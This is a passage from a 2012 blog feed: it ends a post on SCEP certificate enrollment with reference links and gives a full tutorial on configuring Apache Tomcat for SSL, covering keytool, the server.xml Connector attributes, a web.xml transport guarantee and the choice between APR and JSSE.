&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;jscep&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/h3&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;a href=&quot;http://code.google.com/p/jscep/&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;http://code.google.com/p/jscep/&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;a href=&quot;http://code.google.com/p/jscep/wiki/ClientUsage&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;http://code.google.com/p/jscep/wiki/ClientUsage&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;a href=&quot;http://code.google.com/p/jscep/wiki/CertificationRequest&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;http://code.google.com/p/jscep/wiki/CertificationRequest&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;https://groups.google.com/forum/?fromgroups#!topic/jscep-support/MSI7_ewuyjE&quot;&gt;https://groups.google.com/forum/?fromgroups#!topic/jscep-support/MSI7_ewuyjE&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://www.java2s.com/Tutorial/Java/0490__Security/CreatingaCertificationRequest.htm&quot; style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot; target=&quot;_blank&quot;&gt;Creating a Certification Request using Bouncy Castle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://grepcode.com/file/repository.jboss.org/maven2/bouncycastle/bcprov-jdk15/140/org/bouncycastle/jce/PKCS10CertificationRequest.java&quot;&gt;PKCS10CertificationRequest.java&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/h3&gt;
&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/8965813323950272574/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/09/enroll-certificate-using-scep.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8965813323950272574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8965813323950272574'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/09/enroll-certificate-using-scep.html' title='Enroll a Certificate using SCEP'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-2647167378800176197</id><published>2012-08-25T15:43:00.000-07:00</published><updated>2012-09-06T19:08:02.484-07:00</updated><title type='text'>Configuring Tomcat for SSL</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18px;&quot;&gt;Setting the server certificate&lt;/span&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Create a server certificate for Tomcat and setup in the server. &amp;nbsp;Refer &lt;a href=&quot;http://softwarearchitectureandarchitects.blogspot.com/2012/07/creating-x509v3-certificate.html&quot; target=&quot;_blank&quot;&gt;my earlier post&lt;/a&gt; for details on how a certificate can be obtained.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Double check whether the Root cert needs to be imported in trustcacerts. it might be safe to do:&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; text-align: -webkit-auto;&quot;&gt;keytool -import -trustcacerts -alias &amp;lt;&lt;/span&gt;&lt;code style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;i&gt;ca-cert-alias&lt;/i&gt;&lt;/code&gt;&lt;span style=&quot;background-color: white; text-align: -webkit-auto;&quot;&gt;&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white; text-align: -webkit-auto;&quot;&gt;-file &amp;lt;&lt;/span&gt;&lt;code style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;i&gt;ca-cert-filename&lt;/i&gt;&lt;/code&gt;&lt;span style=&quot;background-color: white; text-align: -webkit-auto;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Tomcat Connector configuration in server.xml.&lt;/span&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;Connector&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; executor=&quot;tomcatThreadPool&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; port=&quot;9443&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; protocol=&quot;HTTP/1.1&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; connectionTimeout=&quot;20000&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; redirectPort=&quot;8443&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; acceptCount=&quot;100&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; maxKeepAliveRequests=&quot;15&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; keystoreFile=&quot;eclipse-workspace/security-utils/resources/manojkeystore.jks&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; keystorePass=&quot;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; keyAlias=&quot;manojscepcertificate&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; keyPass=&quot;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SSLEnabled=&quot;true&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; scheme=&quot;https&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; secure=&quot;true&quot;/&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Some of the attributes are the same as those of the basic HTTP connector, such as executor, protocol, connectionTimeout, maxKeepAliveRequests, and acceptCount. Note that although this connector will be used for HTTPS connections, you still set protocol to HTTP/1.1; other attributes will specify that this is an SSL-enabled connection.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;The TCP/IP port that users specify as the secure connection port is 9443. Be sure that you set the value of the redirectPort attribute of your non-SSL connectors to this value to ensure that users that require a secure connection are redirected to the secure port, even if they initially start at the non-secure port.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;The SSLEnabled attribute specifies that SSL is enabled for this connector.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;The secure attribute ensures that a call to request.isSecure() from the connecting client always returns true. The default value of this attribute is false.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;The scheme attribute ensures that a call to request.getScheme() from the connecting client always returns https when clients use this connector. The default value of this attribute is http.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;The keystoreFile attribute specifies the name of the file that contains the server&#39;s private key and public certificate used in the SSL handshake, encryption, and decryption. You use an alias and password to access this information.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;The keyAlias and keystorePass attributes specify the alias (and password) used to access the keystore specified by the keystoreFile attribute.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;keyPass specified the password for the key entry in the JKS. Usually this is not set or set to be the same as the keystore password.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;If the key entry was set programmatically then this password is set and has to be specified.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Limiting SSL Usage&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;&lt;/ul&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Enabling SSL in Tomcat&#39;s server.xml file causes all files to be run both as secure and insecure pages, which can cause unnecessary server load. &amp;nbsp;You can choose which applications offer SSL connections on a per-application basis by adding the following &amp;lt;security-constraint&amp;gt; element to the application&#39;s WEB-INF/web.xml file:&lt;/span&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;&lt;/ul&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;lt;security-constraint&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;
&lt;/span&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;lt;web-resource-collection&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;
&lt;/span&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;lt;web-resource-name&amp;gt;YourAppsName&amp;lt;/web-resource-name&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;
&lt;div&gt;
&amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt;&lt;/div&gt;
&lt;div&gt;
&amp;lt;/web-resource-collection&amp;gt;&lt;/div&gt;
&lt;div&gt;
&amp;lt;user-data-constraint&amp;gt;&lt;/div&gt;
&lt;div&gt;
&amp;lt;transport-guarantee&amp;gt;CONFIDENTIAL&amp;lt;/transport-guarantee&amp;gt;&lt;/div&gt;
&lt;div&gt;
&amp;lt;/user-data-constraint&amp;gt;&lt;/div&gt;
&lt;div&gt;
&amp;lt;/security-constraint&amp;gt;&lt;/div&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;This configuration allows you to set SSL options for all an application&#39;s pages in one place. &amp;nbsp;For example, to disable SSL for all your application&#39;s pages, change &quot;CONFIDENTIAL&quot; to &quot;NONE&quot;.&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;&lt;/ul&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;
Specifying Implementation&lt;/span&gt;&lt;/h3&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;
&lt;/span&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;If you have configured connectors for both APR and JSSE, Tomcat will use APR by default if you have installed the native libraries. &amp;nbsp;You can force it to use JSSE by modifying a Connector&#39;s &quot;protocol&quot; attribute as follows:&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;
&lt;/span&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;
&lt;div&gt;
&amp;lt;Connector protocol=&quot;org.apache.coyote.http11.HTTP11NioProtocol&quot;&amp;gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
If you want to force APR, you can do so with a similar edit:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&amp;lt;Connector protocol=&quot;org.apache.coyote.http11.Http11AprProtocol&quot;&amp;gt;&lt;/div&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Verification&lt;/span&gt;&lt;/h2&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Verify if tomcat is now showing the SSL cert. On my local server, the url is&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://localhost:9443/SampleApp/services/SampleWebServiceImplPort?wsdl&quot;&gt;https://localhost:9443/SampleApp/services/SampleWebServiceImplPort?wsdl&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
SSL Cipher Strength&lt;/h3&gt;
&lt;span style=&quot;color: red;&quot;&gt;&amp;lt;TODO&amp;gt; Add more details about Cipher strengths and testing etc. Maybe another blog post about tools.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: large;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;Note&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Note: U&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;sing name-based virtual hosts on a secured connection can be problematic. This is a design limitation of the SSL protocol itself. The SSL handshake, where the client browser accepts the server certificate, must occur before the HTTP request is accessed. As a result, the request information containing the virtual host name cannot be determined prior to authentication, and it is therefore not possible to assign multiple certificates to a single IP address. If all virtual hosts on a single IP address need to authenticate against the same certificate, the addition of multiple virtual hosts should not interfere with normal SSL operations on the server. Be aware, however, that most client browsers will compare the server&#39;s domain name against the domain name listed in the certificate, if any (applicable primarily to official, CA-signed certificates). If the domain names do not match, these browsers will display a warning to the client user. In general, only address-based virtual hosts are commonly used with SSL in a production environment.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;For details refer:&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://tomcat.apache.org/tomcat-6.0-doc/ssl-howto.html&quot;&gt;http://tomcat.apache.org/tomcat-6.0-doc/ssl-howto.html&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Setting Up a Server Certificate&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;a href=&quot;http://java.sun.com/j2ee/tutorial/1_3-fcs/doc/Security10.html&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;http://java.sun.com/j2ee/tutorial/1_3-fcs/doc/Security10.html&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Tomcat SSL configuration&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;a href=&quot;http://www.mulesoft.com/tomcat-ssl&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;http://www.mulesoft.com/tomcat-ssl&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://techtracer.com/2007/09/12/setting-up-ssl-on-tomcat-in-3-easy-steps/&quot;&gt;http://techtracer.com/2007/09/12/setting-up-ssl-on-tomcat-in-3-easy-steps/&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;



&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Resources&lt;/span&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;TODO.&amp;nbsp;&lt;a href=&quot;https://www.ssllabs.com/downloads/SSL_TLS_Deployment_Best_Practices_1.0.pdf&quot;&gt;SSL_TLS_Deployment_Best_Practice&lt;/a&gt;s&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: red;&quot;&gt;TODO.&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Testing_for_SSL-TLS_(OWASP-CM-001)&quot;&gt;Testing_for_SSL-TLS_(OWASP-CM-001)&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;a href=&quot;http://tomcat.apache.org/tomcat-6.0-doc/config/http.html&quot; target=&quot;_blank&quot;&gt;Apache Tomcat Configuration Reference&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;a href=&quot;http://tomcat.apache.org/tomcat-6.0-doc/ssl-howto.html&quot;&gt;Tomcat SSL&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
